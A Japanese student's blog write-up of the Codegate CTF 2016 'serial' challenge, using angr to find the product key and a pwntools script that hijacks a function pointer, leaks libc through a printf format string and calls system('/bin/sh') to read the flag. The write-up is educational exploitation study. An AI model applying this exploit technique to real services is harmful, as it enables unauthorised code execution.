newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn 4.10】 serial - Codegate CTF 2016

 

 

 

0: 参考

bataさんの良問リスト

 

問題ファイル

github.com

 

 

1: イントロ

bataリストの問題

2016 Codegate CTF の easy 問題 "serial"

 

keywords:

angr



2: 表層解析

./serial: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=178aaa6576923592e7fc8534fd8cb21d5f6c5cdb, stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)




3: プログラムの流れ

まずproduct keyの入力を求められる

ghidraのコードを見たがなんかめんどくさそうだったため

angrに投げた

#!/usr/bin/env python2
import angr

addr_success = 0x400e61
addr_numonly = 0x400d27
addr_wrong =  0x400e7d

p = angr.Project("./serial",load_options={"auto_load_libs":False})
state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)
simgr.explore(find=(addr_success,), avoid=(addr_numonly,addr_wrong))

found = simgr.found[0]

for path in simgr.found:
  print(path.posix.dumps(1))
  print(path.posix.dumps(0))
$ python ./angr_exploit2.py 
b'input product key: '
b'615066814080@@@@@@@\x10@@@@@@@@@@\x00'

 

ということでproduct keyは615066814080

 

プログラムの選択肢は以下の通り

Smash me!
1. Add 2. Remove 3. Dump 4. Quit

 

1:Addについて

0x20サイズのメンバ0xa個分領域(dataset)がcalloc()で確保してある

DAT_6020b9(counter)はdatasetに何個データが入っているかを表す

Addは0x20サイズ入力の\nをNULL終端したあとdatasetのエントリにmemcpyする

そのあとcounterをインクリメント

 

2:Removeについて

まずエントリすべてをイテレートして内容をダンプする

そのあとremoveするインデックスを入力させ

該当エントリをゼロクリアし

続くエントリたちを左詰めする

 

このエントリをゼロクリアするのが以下の部分だが

memset(param_1->dataset + (long)local_20 * 0x20,0x0,0x4);

何故か最初4byteしかクリアしていない

これが最後のエントリ以外ならば

直後に次のエントリで上書きされるから問題ないだろうが

最後のエントリの場合は最初4byte以外はそのままの状態で残ることになる

(結局この不具合は使わなかたのだが・・・)

 

3:Dumpについて

エントリの0番目の0x18の示す先にjmpする

                    /* 0x40096e == show_content() */
        *(undefined8 *)(in_RDI + (long)DAT_006020b9_count * 0x20 + 0x18) = 0x40096e;

 

そこにデフォルトで入っているアドレスは0x40096e

これは前述したエントリをダンプする関数

入力が0x20なのに0x18にこのポインタを置いているから

overwriteできる

 

実際に試してみると案の定以下のようにSIGSEGV

Smash me!
1. Add 2. Remove 3. Dump 4. Quit< 2019/08/31 01:44:55.271917  length=11 from=70 to=80

choice >> > 2019/08/31 01:44:55.314461  length=2 from=13 to=14
1
< 2019/08/31 01:44:55.314688  length=10 from=81 to=90
insert >> > 2019/08/31 01:44:55.315143  length=32 from=15 to=46
111111111111111111111111AAAAAAA
< 2019/08/31 01:44:55.315470  length=53 from=91 to=143
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> < 2019/08/31 01:44:55.315921  length=62 from=144 to=205
hey! 0xa
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> > 2019/08/31 01:44:55.316372  length=2 from=47 to=48
3
< 2019/08/31 01:44:55.316482  length=24 from=206 to=229
func : 0x41414141414141
2019/08/31 01:44:55 socat[16257] E waitpid(): child 16258 exited on signal 11

 

ちゃんと落ちている

 

あれ、これめちゃめちゃ簡単なんじゃね?



4: 方針

まずlibc baseをleakする

関数ポインタをprintfのpltで上書きする

関数ポインタの先にジャンプする直前のstack配下の状態

 

pwndbg> telescope $rsp 20
00:0000│ rsp  0x7ffe48cb0400 —▸ 0x7ffe48cb0460 —▸ 0x400ff0 ◂— push   r15
01:0008│      0x7ffe48cb0408 —▸ 0xea2260 ◂— 0x70253a70253a7025 ('%p:%p:%p')
02:0010│ rbp  0x7ffe48cb0410 —▸ 0x7ffe48cb0460 —▸ 0x400ff0 ◂— push   r15
03:0018│      0x7ffe48cb0418 —▸ 0x400fa9 ◂— jmp    0x400fd7
04:0020│      0x7ffe48cb0420 ◂— 0x1
05:0028│      0x7ffe48cb0428 —▸ 0xea2260 ◂— 0x70253a70253a7025 ('%p:%p:%p')
06:0030│      0x7ffe48cb0430 ◂— 0x7f20da000033 /* '3' */
07:0038│      0x7ffe48cb0438 ◂— 0x0
08:0040│      0x7ffe48cb0440 ◂— '615066814080'
09:0048│      0x7ffe48cb0448 ◂— 0x30383034 /* '4080' */
0a:0050│      0x7ffe48cb0450 —▸ 0x7ffe48cb0540 ◂— 0x1
0b:0058│      0x7ffe48cb0458 ◂— 0xe3dc2d26c6c0b700
0c:0060│      0x7ffe48cb0460 —▸ 0x400ff0 ◂— push   r15
0d:0068│      0x7ffe48cb0468 —▸ 0x7f20da811b97 (__libc_start_main+231) ◂— mov    edi, eax
0e:0070│      0x7ffe48cb0470 ◂— 0x0
0f:0078│      0x7ffe48cb0478 —▸ 0x7ffe48cb0548 —▸ 0x7ffe48cb0f66 ◂— './serial'
10:0080│      0x7ffe48cb0480 ◂— 0x100000000
11:0088│      0x7ffe48cb0488 —▸ 0x400e93 ◂— push   rbp
12:0090│      0x7ffe48cb0490 ◂— 0x0
13:0098│      0x7ffe48cb0498 ◂— 0x3b47f6800b34e131

 

 

stackに積まれている__libc_start_main+231のアドレスを利用する

これは$19に該当するから

"%$19p"をprintfしてこのアドレスをリークしlibc baseを計算する

 

あとはsystemを呼ぶだけ




5: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./serial"

rhp = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

printf_plt = binf.plt["printf"]
offset_libc_start_main = libc.functions["__libc_start_main"].address
offset_system = libc.functions["system"].address

#preparatory investigation
stack_ix = 19               #the index of the stack which refers to libcstartmain
product_key = 615066814080  #acquired with angr

def exploit(conn):

  #pass auth
  conn.recvuntil("input product key: ")
  conn.sendline(str(product_key))

  #leak __libc_start_main+239
  payload = "%19$p"
  payload += "A"*(0x18-len(payload))
  payload += p64(printf_plt)
  conn.recvuntil("choice >> ")
  conn.sendline("1")
  conn.recvuntil("insert >> ")
  conn.sendline(payload)
  conn.recvuntil("choice >> ")
  conn.sendline("3")
  conn.recvuntil("func :")
  conn.recvline()
  libc_start_main231 = int(conn.recvline()[2:14],16)
  
  #calc libc_base and addr of system()
  libc_start_main = libc_start_main231 - 231
  libc_base = libc_start_main - offset_libc_start_main
  addr_system = libc_base + offset_system
  print("libc_start_main: "+hex(libc_start_main))
  print("libc_base      : "+hex(libc_base))

  #clear the entry
  conn.recvuntil("choice >> ")
  conn.sendline("2")
  conn.recvuntil("choice>> ")
  conn.sendline("0")
  
  #inject payload
  payload = "/bin/sh;"
  payload += " "*(0x18-len(payload))
  payload += p64(addr_system)
  conn.recvuntil("choice >> ")
  conn.sendline("1")
  conn.recvuntil("insert >> ")
  conn.sendline(payload)

  #run
  conn.recvuntil("choice >> ")
  conn.sendline("3")

  #get the flag
  conn.recvline()
  conn.sendline("cat /flag")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
      b *0x400e93
      c
    """
    #0x400e93: main
    #0x400cbb: read_til_line
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()



6: 結果

f:id:smallkirby:20190831025246p:plain






7: アウトロ

easyの中で難易度の差ありすぎじゃね?





続く・・・